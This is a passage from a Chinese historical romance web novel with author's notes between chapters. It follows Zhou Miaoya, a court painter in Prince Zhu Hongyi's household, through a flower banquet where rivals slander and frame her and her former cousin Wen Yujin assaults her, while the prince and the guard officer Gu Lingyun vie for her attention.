周妙雅凭栏而立,正仰头望着天际那轮明月,月色为她周身勾勒出一圈柔和的轮廓。 听到脚步声,她转身浅笑,屈膝行礼:“王爷。” 朱弘毅目光扫过席面,又落回她脸上:“今日怎么有如此雅兴?” 周妙雅没有立即回答,她起身执壶,为他斟了一杯酒。 皎皎明月映着杯中琥珀色的琼浆,微微荡漾着。周妙雅倒酒的手很稳,但是声线却轻颤着:“那日在破庙…” 语至半途,她顿了顿,强行压下了喉间的哽咽:“若非王爷出手相救,我早已是崖下枯骨。那时我万念俱灰,只觉得天地虽大,却无我容身之处。” 她抬起眼,目光落在他曾扶过她的那双手上,声音低却清晰:“后来我病得昏沉,恍惚间总觉得有人守在榻前。醒来才知,竟是王爷亲自照料。那些汤药的滋味我至今都记得。” “王爷许我自由出入瀚海楼,许我亲手整理那些书画。” 她指尖沿着桌沿轻移,声线由微颤渐渐转向坚定:“在文家时,我连自己的笔墨都护不住,是您让我明白,我的画值得被珍视,我的才学不该被埋没。” “还有徐大人那里…” 她眸中泛起一层薄雾,却倔强地强忍着不让它落下:“王爷让我看见,这世间有比宅院更大的天地,有比诗画更深的学问。您让我重新找回了活下去的意义。” 她举起酒杯,指尖因隐忍的力道而轻轻颤着:“王爷待我,恩同再造。这些,妙雅时刻铭记在心,一刻也不敢忘。” 朱弘毅端起酒杯,没有立刻喝,只是看着她,眸光沉静:“你我之间,不必言谢。” 周妙雅执杯的手轻轻滞了滞,随即抬眸淡笑:“那便不说,只共赏此月,共饮此酒。” 两人对坐,一时无话。 月色清辉洒落水面,又漫进水榭,四周只有细微的虫鸣和鱼儿跃出水面的轻响。酒过三巡,菜也动了几筷,气氛渐渐松弛下来。 周妙雅几杯酒下肚,有些微醺上头,脸颊泛起薄红,话也渐渐多了起来。 她抬手指着天上皎皎明月,笑着说幼时在苏州,也是这样的中秋夜,祖父携她泛舟十里山塘,于水中看月影倒悬。又道去年上京,孤舟夜泊运河,两岸灯火如星,她却只觉天地孤寂。 朱弘毅大多时候只是静静听着,偶尔在她停顿时,简短地问上一两句。 而后,他也提到少时在宫中过节,规矩繁琐,礼冗如麻,月饼入口亦无味,反不如今宵把盏畅谈这般自在。 “那时只觉得,月华洒遍四方宫墙,也照着天下百姓,却唯独不像照着我的。”他说得语气平淡,像在谈别人的旧事。 说到这里,他突然停住了。 五岁那年偷溜去京郊大营的画面忽地闯进脑海,浮现在眼前。 战马扬起的尘土,将士操练的呼喝,那才是他真正向往的天地。 他多想像成祖爷一样,驰骋沙场,守土开疆,保家卫国。可每次偷跑出宫,都被内侍们恭恭敬敬地请了回去。 而后先帝驾崩,皇兄即位。他便知道,这辈子再难出这四方城了。 此刻映在他眸中的少女清丽如月,那枚刻着 周字的玉佩在他心底悄然一沉。 顷刻间,他收回目光,将杯中残酒一饮而尽。 不知何时,两人都停了箸。水榭重归静寂,月色却愈压愈重。 她感受到了他的目光落在了自己身上,比月色更灼。 她下意识地抬眼,正直直撞进了他那双深不见底的眸子里。 那双眼中没有了平日的冷静与审视,此刻只余暗潮翻涌,尽是她说不清道不明的情绪,只一瞬,竟让她心跳失序。 他缓缓倾身过来。 她的呼吸窒住,手指无意识地绞紧了裙裾,却没有躲闪。 她看着他靠近,看着他深邃的眼眸里映出自己颤动无措的微影。 距离近得能感受到他呼吸的温度,拂过她的唇瓣,带来一阵细碎的战栗。 就在呼吸交缠,双唇将触未触之际,两人却像被同一根无形的针扎了一下,动作戛然而止。 朱弘毅的喉结滚动了一下,硬生生停住了所有动作。 周妙雅猛地垂下眼睫,仓促地向后缩了一寸,拉开那令人心悸的距离。 两人刚刚近在咫尺,呼吸相缠,却都望见了对方眼底翻涌的克制与挣扎。 那枚未能落下的吻,比真实的触碰,更沉重地烙在了彼此心上。 夜风忽起,拂动水榭的纱帘,也将方才那欲将人吞噬的迷乱彻底吹散。 朱弘毅收拢神思,恢复了常态,他坐直身体,抬手端起身前微凉的残酒,一饮而尽。 再开口时,声线中带着一丝沙哑:“夜深了,你身上还有旧伤,不宜久坐吹风。” 周妙雅低低地嗯了一声,也拿起自己的酒杯,将杯中残酒饮尽,那酒液此刻尝起来,竟带着一丝难言的苦涩。 “回去吧。”朱弘毅站起身,声音已恢复了平日的沉稳—— 作者有话说:朱弘毅你行不行???? PS 艾儒略也是有原型的!都很好猜啦 第35章 北镇抚司的值房内, 灯烛彻夜未熄。 顾凌云以指重压太阳穴,将一份关于济慈堂案的卷宗合上,推到了一旁。 后山那些无名女尸, 牵扯出的线索盘根错节, 让他连日来不得安枕。 他起身, 欲取些陈年旧档核对,目光扫过桌角一摞待归档的文书时,动作却顿住了。 里头一纸简报毫不起眼,被夹在了几份无关紧要的市井流言之中。 他的指尖在纸页上停留了一瞬,最终还是将其抽了出来。 是关于那位身份不详的女子的: 周妙雅,苏州府长洲县人士,自幼失怙, 寄养于曹家巷文府。泰和三年进京,其祖母文老夫人于同年暴毙。文老夫人丧期, 周氏女誓死不从文府长孙纳其为妾。翌日, 遭长孙正妻康氏发卖,押送途中于西郊坠崖,生死不明。后查, 现居于宁王府。 短短几行字,概括了一个女子悲苦的命运。 顾凌云盯着简报, 脑海中不由得浮现出第一次在京郊大兴县见到周妙雅时的场景。 当时他办差路过此地,远远望见一群代王府家仆正挥锄毁田, 殴打农户。人群前,一个素衣女子挺身而立, 她虽身量纤细,背却挺得笔直,她条理清晰地驳斥着那群面目狰狞的恶仆, 面上毫无惧色。 他本不欲多管闲事,但那女子身上有种奇特的气质,沉静又坚定,这让他不由得多看了一眼。 直到剑拔弩张,冲突将起,他才现身镇住了场面。 离去时,他回头瞥了一眼,见那女子正俯身仔细查看老农的伤势,田埂间尘土飞扬,她清丽的侧脸与之格格不入。 那一刻,他便将这张脸深深记进了心里。 第二次见她是在奉国寺。 他因公务入寺,远远看见她在粥棚中挽袖施粥。 她见队伍中一名妇女怀抱生病的孩童,流民因恐惧时疫而引发了轻微的骚动,而她对此完全不惧,挺身而出,亲自为孩童诊脉。 她动作不算娴熟,眉心轻蹙,神情却专注得仿佛四下再无旁人。 阳光透过槐树叶隙洒在她肩头,她俯身柔声探问生病孩童的症状,语气中带着他从未在京城别家闺阁女子身上见过的温软与耐心。 那副神情,与她在田埂上据理力争的形象逐渐重叠,他心底对于她模糊的印象也渐次清晰:她绝非寻常女子。 后来,京中流言骤起… 人们在茶余饭后谈论她的都是文家那个表姑娘勾引兄长,大闹洞房花烛夜,是被主母发卖的狐媚子…关于她的传闻字字污秽,与她留给他的两次印象判若云泥。 他听着下属们将这些诋毁她的坊间传闻当笑料闲谈,面上虽波澜不惊,心底却莫名生出一丝反感。 一个敢在田埂间维护弱小,在佛寺前施粥诊脉的女子,岂会沦为流言里的模样?他坚信,一个人骨子里的风骨,是无法被改变的。 直至圣旨昭告天下,册封她为司画女官,御笔亲题天下第一才女… 消息传到北镇抚司,连他手下那些见惯了刀口舔血的粗豪锦衣卫校尉们都不免议论了几句。 一阵夜风吹过,将他的思绪拉了回来。 他的目光重新凝在了那封简报上,坠崖二字,此刻格外显眼。 他几乎能想象出那是何等惨烈决绝的场景,一个无依无靠的孤女,被逼至那般境地,除了以死明志,还能如何? 至于她如何从崖下生还,又如何到了宁王府…不必再查,定是朱弘毅救了她,并给了她一方庇护之所。 此前所有断续的疑团,在这一刻终于都有了答案。 田埂间的风骨,奉国寺的悲悯,皆非偶然。 那是从绝境中挣出,却未染半分尘垢的本心。 市井流言与她真实的模样,在他心中形成了极其强烈的对比。 一股难以言喻的情绪自胸腔翻涌而上,混着敬意,也混着一丝他自己也未曾察觉的,想要再靠近她一些的冲动。 他心里掠过了风骨二字。 念头一起,便再难按下,他想亲自去宁王府,只为了再看她一眼。 并非公务,纯属私意。 可转念一想,便觉唐突。 北镇抚司与不问朝政的闲散亲王素无公事往来,亦无私交,若贸然登门拜会,太过突兀,只会徒惹猜疑。 顾凌云突然想起了什么,他起身收拢了卷宗,理了理飞鱼服的袖口,转身大步往坤宁宫走去。 ———— 宫人引顾凌云入坤宁宫暖阁时,皇后顾云舒正坐在窗下的绣架前,指尖捻着金线,不紧不慢地绣着鸾凤和鸣。 阳光透过碧纱窗,柔和地覆在她雍容的侧脸上。 见顾凌云走了进来,她并未抬头,只是启唇,话里带着长姐对亲弟的熟稔打趣:“今日北镇抚司不忙?舍得跑来本宫这儿躲懒?” 顾凌云行罢礼,撩起飞鱼服端坐于下首的梨花椅上,宫人悄无声息地为他奉上茶,又退了出去。 他目光微敛,语气是一贯的冷硬,却开门见山:“有事求阿姐。” 顾云舒指尖动作未停,听罢这话,只微微扬了扬眉:“哦?说来听听。” 她深知自己亲弟的性子又冷又硬,若非万不得已,绝不轻易求人。 顾凌云声音压低:“我想去宁王府一趟,缺个名正言顺的由头,阿姐能否赐道懿旨,给我个名正言顺的身份进去走走?” 暖阁内静了一瞬,只剩金线穿过锦缎的细微声。 顾云舒终于停下手中针线。 她抬起头,凤目微挑,目光凝在顾凌云脸上,似笑非笑道:“前些时日,是谁来问我,宁王年岁不小,为何迟迟不娶正妃?” 她将金针轻轻扎在绣绷上,唇角弯笑:“如今你自己呢?与宁王同岁的顾佥事,府上又何尝热闹过?你倒是说说,你自己的顾夫人还没个踪影,竟要钻营到人家宁王府去了。” 顾凌云自知理亏,被说中要害,他自小就说不过阿姐,只得避开她的问话,假意端起茶盏。 顾云舒见他刻意躲避,心湖已澄澈如镜,却偏不点破,只缓缓道:“让本宫猜猜…能让咱们顾佥事如此费心寻借口,拐弯抹角地求懿旨,总不会只为讨宁王府一盏茶吧? 她目光灼灼,似已洞悉一切,却故作神秘调侃道:“莫非…是与近来那位声名鹊起的天 下第一才女有关?” 顾凌云端着茶盏的手微微一紧,心中翻涌的情绪迅速被他稳稳收住,面上依旧无波无浪,只淡淡道:“阿姐想多了,只是公务上有些疑问,需当面探询。” “公务?” 顾云舒轻笑出声,将茶盏搁回案上:“哪门子的公务,需要你动用到我这里的关系,绕这么大一个圈子去探询?” 她身子微微前倾,压低了些声音,却掩不住眸中跃动的好奇:“说起来,那位周女官,本宫也好奇得紧,究竟是何等人物?能让我这眼高于顶的弟弟另眼相看,能让宁王那般人物亲自出面为她请封…” 说罢,她目光扫过顾凌云抿紧的唇线,便知自己猜中了八九分。 她不再逼问,只悠然倚回引枕:“罢了,你们一个两个,心思都藏得深,本宫也懒得去猜。不过今日你这忙,阿姐帮了。” 顾凌云垂下眼帘,遮住眸中闪过的翻涌,只低声道:“谢阿姐。” ———— 不过两日,皇后懿旨便到了宁王府。 前来宣旨的太监笑容可掬,道皇后娘娘念及宁王殿下素爱风雅,值此金秋之季,特赐上品月季,菊花各二十株,望王爷好生莳弄,妆点王府秋色。 旋即话锋一转,又道皇后娘娘口谕,如此佳卉,不可独赏,命宁王于府中设赏花宴,将府中珍藏书画,异宝尽陈于堂,遍邀宗亲勋贵,同赏秋芳。 朱弘毅跪接旨意,面上波澜不兴。 待太监走后,长安才低声嘀咕道:“王爷,皇后娘娘这…往年可从不管咱们府上办不办宴。” 朱弘毅目光掠过庭院里那几十盆含苞待放的花卉,眸色微沉。 他未置一词,转身往书房走去,只留下一句:“传长史到我书房。” 不过一盏茶的功夫,长史便匆匆赶来,听罢原委,也是眉头微蹙,甚为不解。 他沉思片刻,谨慎开口:“王爷,既是风雅之宴,重在陈设布置,既要彰显王府气度,又不能失于匠气。府中往年节庆布置,多是循旧例,略显刻板,下官斗胆建言…” 长史语锋微顿,察言观色间见宁王并无不耐,才继续道: “周女官自入府以来,便掌四时清供,于花木,书画,器物的搭配上,别具匠心,雅趣自成,府内上下有目共睹,往来宾客亦多有赞誉。此番赏花宴,若请周女官统筹陈设,必能推陈出新,别开生面,定不负皇后娘娘所望。” 朱弘毅指尖轻叩案面,笃声错落,长史之言,正合他意。 若由周妙雅出面,既能将这场宴席办得足够风雅,堵住悠悠众口,又能让她以女官身份立于人前,而非藏于他的羽翼之下。 “唤她过来。” 片刻之后,周妙雅掀帘而入。 听闻皇后懿旨与长史举荐,她眸光微怔,抬眼间恰撞上朱弘毅的目光。 朱弘毅看着她,语气平淡:“此事,你可愿接手?” 他将选择的权利交于她手,若她不愿置身风口浪尖,他自有办法回绝。 周妙雅垂眸思索片刻。 她心中看得分明,与其说这是一场赏花宴,倒不如说是一场无形的较量。 此事关乎宁王府的体面,也系着她自己能否在宗亲勋贵面前真正站稳自己天下第一才女的脚跟。 避,固然安稳,但非她所愿。 她抬起头,目光清亮,声音不高却清晰:“下官愿尽力一试。” “好。”朱弘毅只轻轻颔首,没有多余的叮嘱,随即侧首对长史道:“一应人手,用度,皆听周女官调配。” 这便是将全权交予了她。 往后数日,宁王府内便悄然动了起来。 花厅内,周妙雅素衣束袖,眸光清定,她环视着诸位管事,声音不高,却条理清晰: “皇后娘娘所赐菊,月季,乃花宴主角,切忌堆砌成俗。选品相最佳者,分置于曲水回廊,听风阁,瀚海楼前这三处,其余散植于径旁,方见天然野趣。” “库房里那套雨过天青的瓷盆,取来配月季,菊花则用素三彩的方盆,色不压花。瀚海楼前空地,铺上那卷旧藏的青绒毯,以收落瓣。” “茶点要清爽,菊花糕,山药枣泥卷足矣,不必过分甜腻。用琉璃盏盛放,透色生香。” 分派完毕,她站起身,言语中自带一股威严:“诸位都是府中老人,规矩都懂。此番宴席,王爷看重,皇后娘娘也看着。一切依章程办,若有疑难,随时来瀚海楼寻我。” 朱弘毅负手立于廊下,目光落在周妙雅从容指挥的身影上,眼底拂过一丝极淡的笑意。 他早已明白她的用意:一色一景,皆循画理留白,一步一换,便成妙境。 她要的从来并非满堂金玉,而是让宾客在留白处,自己撞见山水—— 作者有话说:花宴修罗场要来喽~ 第36章 赏花宴这日, 顾凌云终于如愿以宾客身份踏入了宁王府。 他并未急切寻人,只佯装闲散宾客,负手于曲水回廊间信步, 目光掠过菊丛竹影, 也掠过往来人群。 行至一处月洞门, 忽听门内步履匆匆。 他侧身欲让,只一瞬,一抹碧影携风而出,险些与他相撞。 “失礼了…”周妙雅仓促止步,垂首致歉。 “是你?” 男声低唤,让她不由抬眸。 映入眼帘的是一张冷峻的面容,飞鱼服衬得身姿挺拔如松。 她眼中掠过一丝茫然, 随即浮上恍然:“大人是…大兴县田间,出手相助的那位?” 顾凌云松了一口气, 心中不由得暗喜, 原来她还记得他。 他迅速敛起眼底骤亮起的光彩,竭力维持着一贯的冷峻:“正是在下,没想到姑娘还记得。” 周妙雅退开半步, 敛衽一礼:“大人风姿,令人见之难忘。” 她姿态端庄, 语气诚挚:“那日仓促,未能当面谢过大人, 妙雅一直心怀感激。” “举手之劳,姑娘不必挂怀。” 顾凌云目光掠过她低垂的睫羽, 那个萦绕于他心头多日的身影此刻在眼前终于清晰:“方才听姑娘自称闺名妙雅,敢问姑娘就是那位陛下亲封的天下第一才女,周妙雅?” 周妙雅羞涩地点了点头, 随即抬眸,眼底带着温软的探询:“不知恩公高姓大名?” “锦衣卫副指挥佥事,顾凌云。” 顾凌云… 这三个字落入耳中,让周妙雅心头微动。 她面上未显,依旧是得体的微笑,心中却瞬间想起了朱弘毅那日的话语:素以铁面无私,两袖清风著称的锦衣卫副指挥佥事,当今皇后的亲弟弟——顾凌云。 原来是他。 脑海中那个被寄予厚望,或许能揭开济慈堂黑幕的人,与眼前这位曾施以援手的恩公,竟是同一人。 有了这份认知,她再看向他时,眸中除了感激,更悄然亮起了一丝关乎公平正义的微光。 她再次敛衽行礼,声音轻而郑重:“原来是顾佥事,久仰。” 既已相认,两人便立在廊下,淡淡寒暄起来。 周妙雅再三言谢,顾凌云谦辞,二人所聊话题多是围绕着那日田间的旧事以及今日眼前的秋景。 周妙雅因知道了他就是顾凌云,心中不由得暗生出几分敬意,言谈间也多了几分真挚。 顾凌云见她眸光澄澈,态度恳切,面上神色也下意识地柔和了几分。 不远处的水榭中,这相谈甚欢的一幕,分毫不差地落入了朱弘毅的眼中。 从顾凌云进府,他便留意着了。此刻看 着二人立于廊下,周妙雅浅笑盈盈,梨涡轻绽,顾凌云侧身倾听,冷冽的眉眼竟也变得柔和起来… 看着二人相谈自然而熟稔,秋风拂过,衣袂几欲交叠。 一股无名火骤然窜上心头,烧得朱弘毅喉间发涩。 在他的府邸,在他的眼前,她竟对别人这般笑… 眼前的画面让朱弘毅打内心无法接受,他立即转身,冷着脸对长安吩咐道:“立刻去请周女官,就说康首辅与徐次辅的家眷到了,需她亲自接待。” 长安接到命令,不敢怠慢,立即去寻了周妙雅。 周妙雅闻言,只得向顾凌云敛衽告退,步履匆匆而去。 直至那抹浅碧身影从视线中消失,朱弘毅的目光才从顾凌云身上缓缓收回,而他眸底的暗潮翻涌,却无人窥得。 待周妙雅送罢徐、康二位夫人,朱弘毅又使人将她唤至水榭。 见周妙雅目带疑色,他拂袖而坐,语气似漫不经心:“方才见你与顾佥事相谈甚欢,你们是旧识?” 周妙雅尚未察觉其中深意,只照实答道:“回王爷的话,算不得旧识,只是那日陪青黛回大兴县探母,正遇上代王府家仆强占田产,双方冲突,幸得顾大人路过出手解围。” 话音刚落,她便抬睫悄悄打量着朱弘毅的神色,见他虽面色无波,眸光却是比平常更深沉了些许。 她心思微动,试探性地轻声问了句:“王爷…怎么了?” 朱弘毅垂眸,随意端起手边的茶盏,似乎比平日里多了几分刻意的遮掩:“无事,只是…一点直觉罢了。” 周妙雅微微一怔,她看向他那故作平静的侧脸,那刻意太过明显。 她霎时恍然,难不成…他这…是…吃醋了? 她唇角悄然弯起一抹月牙般的弧度,随即垂头掩住,只轻轻应了一声:“哦。” ————— 赏花宴渐入佳境,曲水回廊间衣香鬓影,环佩叮当,笑语不绝。 周妙雅穿梭其间,照应各方,举止从容。 由她主持的花宴布置得清雅别致,引得不少宗亲勋贵暗自点头。 安和郡主朱婉儿伴着代王妃而来,她一身大红色的织金蟒服灼灼如火,艳丽逼人。 然而一路行来,她敏锐地察觉,人群中那些惊艳与赞叹,竟未落在她身上,而是尽数流向那个仅着浅碧衣裙,未施粉黛的周妙雅。 一个被文家扫地出门的孤女,也配抢她堂堂郡主的风头? 安和郡主怒从心烧,尤其是当忆起此女曾与她夫君文毓瑜订过亲,更是气上心头。 行至水榭,她忽地亲热挽住康婧瑶的手臂,声音不高不低,恰好能让周遭女眷尽数听见: “嫂嫂,难为你还这般大度,若换作我,瞧见那等不知廉耻的东西,早让人撵出去了。” 她眼风扫过周妙雅,唇角带笑,话却刻薄,“听说在文家时,就惯会深夜叩门,往男人怀里钻。如今攀上高枝,倒是装得一副清高的模样。” 康婧瑶会意,拿帕子按了按眼角,低声叹道:“郡主快别说了,只怪我命薄,拦不住人家手段高明…” 几位贵女交换着眼神,想起之前京城狐媚子的流言,看向周妙雅的目光里满是鄙夷。 酒过三巡,安和郡主端着一杯金华酒,径直朝周妙雅走去。 就在在两人身影交错的刹那,她手腕猛地一倾,只听哗啦一声,整杯酒泼尽数泼在了自己裙摆上。 她立马大声惊呼:“周妙雅!你好大的胆子!” 这一声尖利刺耳,瞬间吸引了所有目光。 安和郡主指着湿透的裙摆,怒目而视,声色俱厉:“定是因文二郎与你解除婚约,你怀恨在心,故意泼酒报复本郡主!” 周妙雅脚步未退,平静道:“郡主慎言,下官并未碰您分毫,何来蓄意报复?” “难道是本郡主自己泼的不成?” 安和郡主柳眉倒竖,忽又摸向耳垂,厉声道:“呀!我的金葫芦耳环不见了,定是你方才趁机偷了去。果然是从那种腌臜的花街柳巷出来的,手脚都不干净!” 这番指控恶毒至极,直接将市井流言扣死在周妙雅头上,周遭顿时一片哗然。 朱弘毅闻声而来,目光扫过场中,沉声问:“怎么回事?” 安和郡主抢先道:“宁王兄,你这府上的女官好生厉害,泼我酒水不说,竟还敢偷御赐之物,这等品行,也配站在这里?” 周妙雅背脊笔直,迎上朱弘毅的目光:“王爷明鉴,下官从未碰过郡主,更未见过什么耳环。” 安和郡主冷笑:“还敢狡辩!那就让人搜身,让大家瞧瞧,你这狐媚子身上到底藏了多少见不得人的东西!” “婉儿,慎言!”朱弘毅见安和郡主口中有诋毁之意,心下里已不悦,他上前半步,将周妙雅护在了身后。 就在场面僵持之际,一个冷冽的声音响起: “不必搜了。” 顾凌云自人群后走出,掌心托着一枚沾着新泥的金葫芦耳环:“郡主,耳环在花坛边找到,看这泥土痕迹,应当是被花枝勾挂所致,不慎跌落。” 他目光平静地看向安和郡主:“并非他人窃取。” 安和郡主脸色骤变,她瞪着顾凌云,强压着心中怒火,一把夺过耳环:“原…原来如此…倒是本郡主错怪了。” 朱弘毅眸色深沉地看了一眼顾凌云,而后淡淡道:“既是误会,便到此为止。” 随即便侧首吩咐:“来人,带郡主去更衣。” 风波就此压下,笙歌复起,人群中复又欢声笑语… 安和郡主沉着脸随侍女去更衣,康婧瑶温声软语地陪在身侧。 刚转出回廊,见四下无人,安和郡主脸上强撑的平静霎时崩裂。 她猛甩开侍女的手,咬牙低骂:“那贱人,还有顾凌云,仗着自己是国舅,竟敢让本郡主当众下不来台。” 康婧瑶忙抚着她的背,柔声劝慰道:“郡主金枝玉叶,何必与那狐媚子一般见识?男人们不过是一时被她迷了眼,待回过神来,自然知她下作。” 说罢,她语锋忽转,似忽然想起了什么,低声道:“不过,有件事倒是蹊跷。昨日大爷突然命人去祠堂请了文氏族谱,翻阅良久…妾身总觉得,定与那贱人脱不开干系。” 安和郡主眼神一厉:“族谱?” 康婧瑶轻叹:“是啊,那狐媚子的名字毕竟还在文家族谱的旁支里挂着,大爷他…怕是还没死心。” 语罢,她抬手招来贴身丫鬟,低声吩咐了几句,那丫鬟领命匆匆而去。 不多时,丫鬟回禀,文毓瑾竟暗遣小厮,几次三番欲私会周妙雅,均被严辞拒绝。 安和郡主闻言,唇角勾起一抹冷笑:“好一个卑贱孤女,倒是会拿乔,本郡主倒要看看,她能清高到几时。” 花宴闹剧方散,周妙雅只觉胸口发闷,想找个地方清净片刻。 为了避开人群,她择了假山后的小径,怎料刚转过山石,手腕猛地被人攥住。 文毓瑾将她狠狠拽到身前,另一手举着族谱,眼底翻涌着阴暗的偏执:“雅儿,我的耐心是有限的。” 周妙雅奋力挣扎:“放手,文毓瑾,这里是宁王府!” 文毓瑾低笑,力道大得她腕骨生疼:“宁王府?你看清楚,这族谱上白纸黑字写着你的名字,你生是文家的人,死是文家的鬼,宁王府算什么?他朱弘毅凭什么扣着别人家眷不放?” “我不是文家人,我姓周!”周妙雅欲甩开他,却被他死死扣住。 “闹够了没有?” 文毓瑾逼近一步,气息喷在她耳畔:“你以为攀上宁王就能摆脱我?做梦!今日要么乖乖跟我回去,要么…我就当着所有人的面,坐实你与我早有私情,看朱弘毅还要不要你这个破鞋。” 安和郡主与康婧瑶恰巧换好衣服途经假山,撞见文毓瑾把周妙雅死死抵在假山上。 康婧瑶一把捂住安和郡主要惊呼的口,眸光闪过一丝狠戾,低声吩咐心腹丫鬟道:“快,去前厅多叫些人来,就说…就说后院出事了,请诸位夫人来看场好戏。” 待到女眷陆陆续续被引来,康婧瑶方才松手,突然扬声惊呼:“天啊!这…这是在做什么?” 安和郡主立刻会意,尖声附和:“好个周妙雅,前脚勾搭宁王兄,后脚又缠端方正直的文状元,真是淫/贱至极!幸而文状元品行端正,坐怀不乱!” 说罢,她转身朝涌过来的宁王府仆役与众女眷喊道:“你们都瞧见了,这贱婢在假山后行淫/乱之举,勾引无辜之人,此等伤风败俗之事,发生在宁王府,你们还不动手,将这贱人拿下!” 仆役们 面面相觑,竟无一人敢动。 文毓瑾被她们这一闹,下意识地松了松手上的力道,周妙雅趁机挣脱,衣领却被扯裂,露出了小半截锁骨,顿时引得围观众人指指点点。 “都在闹什么?” 朱弘毅拨开人群,目光掠过全场,最终落在衣衫不整,面色惨白的周妙雅身上。 安和郡主抢声告状:“宁王兄!您都亲眼瞧见了,这周妙雅勾引文状元,在此行苟且之事,被我们逮个正着!亏得文状元端方正直,坐怀不乱。像周氏女此等淫/妇,应当立即沉塘!” 文毓瑾攥紧族谱,强撑镇定:“王爷,此乃文家家事,雅儿之名尚在文家族谱之上,下官只是劝妹妹莫要忘记养育之恩,早日回文家尽孝。” “家事?”朱弘毅打断他,声音不高,却压得众人心头一沉。 他解下身上玄色披风,当众裹紧周妙雅,揽入怀中。 “本王倒不知,从何时起,陛下的圣旨,朝廷的册封,还不如一本破族谱了?” 他目光锐利如寒箭,直钉住文毓瑾:“文状元是读书人,莫非连普天之下,莫非王土,率土之滨,莫非王臣的道理都不懂了?” 话落,他冷声掷道:“文家的家务事,滚回文家去管。” 随即,他环视众人,一字一句: “周妙雅是陛下亲封的宁王府司画女官,谁敢动她,便是藐视圣意,与本王为敌。” 语毕,他揽着周妙雅,无视所有目光,穿过鸦雀无声的人群,径直离去—— 作者有话说:醋王,请开始你的表演[奶茶] 第37章 宁王府赏花宴上的风波, 不出一个时辰,便原原本本地呈到了司礼监掌印太监魏琰的案前。 东厂番子跪在下方,将安和郡主如何刁难, 顾凌云如何解围, 文毓瑾如何持族谱上纲上线, 乃至宁王朱弘毅如何当众揽周妙雅入怀,掷地有声地宣告谁敢藐视圣意,便是与本王为敌等诸般细节,一一回禀分明。 东厂值房内烛火摇曳,映着魏琰那张喜怒难辨的白净面庞。 他静静地听完,良久,不由得嗤笑了一声:“区区赏花宴, 也能翻出这些浪来。金枝玉叶的郡主,素来清高的国舅, 御赐的新科状元, 圣上最宠的亲弟,竟都围着这个周女官团团转,有趣得紧呐…” 他端起手边温茶, 慢条斯理地抿了一口:“咱这位平日里只晓得看画喂鱼的宁王殿下,竟也会为了个女官动真火, 说重话,真是太阳打西边出来了。” “文家状元, 沉不住气,代王家那丫头, 蠢钝不堪。” 他放下茶盏,声音柔得发寒:“倒是这位周女官…竟能让最会明哲保身的宁王殿下,当众撕破脸。” 说罢, 他缓缓起身,行至窗边,望向皇宫的方向。 “有意思。” 魏琰唇角勾起一抹极淡的弧度:“人一旦有了在意的东西,便再难做到无懈可击。看来咱们那位风流倜傥,一向捂不热的宁王殿下,也终于生出软肋了。” 他转身,朝侍立在旁的东厂心腹淡淡吩咐:“去,给咱家把这位周女官的底细,再细细地筛一遍。从她在苏州文家开始,一桩一件,凡有疑点之处,都不要放过。” “是,九千岁。” ———— 次日,坤宁宫。 顾凌云行礼问安后,并未如往常般寒暄几句便告辞。 皇后顾云舒搁下手中的册子,抬眼看他:“今日北镇抚司不忙?竟有空在阿姐这儿杵着当木头?” “有事求阿姐。”顾凌云开门见山。 顾云舒挑眉轻哼:“又有事?往日凌哥儿可不似近日这般总来求阿姐啊,不会又是为了那位周女官吧?” 顾凌云声线冷硬,但措辞却明显经过思量:“昨日宁王府赏花宴,周女官操持得极为得当,宾客赞誉有加。宁王此次难得办宴,又办得圆满,阿姐身为中宫,是否当有所赐,以彰其功?尤其是对周女官。” 顾云舒闻言,眸底闪过一丝了然的笑意。 她这个弟弟,何时操心起内庭赏赐的事了?她想起昨日探子才回报宁王府风波,他当场为那女子解围,如今又急急来讨赏,倒真把她的好奇心给勾起来了。 莫不是…? 她面色不动,缓缓端起茶盏,以杯盖轻轻拨弄着浮叶:“哦?那依凌哥儿看,该怎样嘉奖才算妥当?” 顾凌云语气依旧平稳,但目光微垂,避开了姐姐探究的视线:“可赏赐些宫缎,首饰,以示恩宠。尤其是…可多赏周女官几分,她初入宫廷视野,根基尚浅,若得皇后娘娘亲赏,于她而言,便是一重保障,旁人也不敢再轻易欺辱。” 这话虽说得冠冕堂皇,滴水不漏,完全从大局和周全考量。 可顾云舒太了解自己这个弟弟了…他性子冷硬,素来不耐烦这些内帷琐事,更别提为一个仅有几面之缘的女子如此细致筹谋,甚至亲自来为她请赏,求庇护。 这早已越过他素日里路见不平的边界… 顾云舒心内百转千回,面上却依旧雍容,只见她轻轻吹了吹茶汤,含笑道:“凌哥儿如今竟懂得体贴人了,这般替一位姑娘家细细筹谋,实属难得。” 她话语中带着调侃,目光却似涓涓细流,悄然浸润,欲从他冷硬的眉宇间探出一丝端倪。 顾凌云身形微不可见地僵了一下,旋即恢复如常,语气却更淡了几分:“阿姐说笑了,臣弟只是觉得此事合于礼制,亦可全宁王府颜面。” 顾云舒不再紧逼,她收住调侃,放下手中茶盏:“罢了,你说得也在理,皇叔难得设宴,周女官确也尽心,自当重赏。这忙,阿姐应了,即刻便命人拟单,送份体面赏赐到宁王府与周女官处。” “谢阿姐。”顾凌云揖了一礼,动作干脆利落,如了却了一桩公务。 可他并未告退,略一迟疑,复又开口道:“既如此,臣弟…便亲自往宁王府传谕,以示郑重。” 亲自去? 顾云舒握着帕子的指尖轻轻顿住… 传旨赏赐,派个体面的内监去已是足矣,他堂堂锦衣卫副佥事,中宫胞弟,竟要亲自去办这趟差,未免有些小题大做,过于隆重了。 她抬眼细细打量起来… 弟弟脊背笔直,面色冷峻,比平日更添几分肃色,仿佛当真只为以示郑重。 可那刻意压下的唇角,微微敛起的眉梢,都在无声地传递着,似乎有什么东西不一样了。 一个模糊的念头在顾云舒心中渐渐清晰: 她这个眼高于顶,向来寡情的弟弟,怕是自己都还未察觉,他对那周女官的关注,早已越界。 莫不是…铁树开花,动了情了? 这发现令顾云舒心头微震,她又深望了顾凌云一眼,终是抬手一拂,语气听不出喜怒:“去吧,差事办得漂亮些。” “臣弟告退。” ———— 皇后恩赏的旨意很快便到了宁王府。 朱弘毅领着周妙雅等人谢了恩,顾凌云传达完皇后口谕,目光便落在一旁垂首肃立的周妙雅身上。 “周女官。”他迈前半步,声线不自觉地放轻了些:“皇后娘娘对你的办差能力很是赞赏。” 周妙雅敛衽一礼:“多谢皇后娘娘恩典,多谢顾佥事美言。” 顾凌云看着她,目光微凝,忽又开口道:“顾某今日前来,除传旨外,另有一事,想请周女官相助。” 朱弘毅眸色微敛,上前半步,恰好把周妙雅挡在身后半尺,语气平淡:“哦?顾佥事有何公干,竟要动用本王府上的女官?” 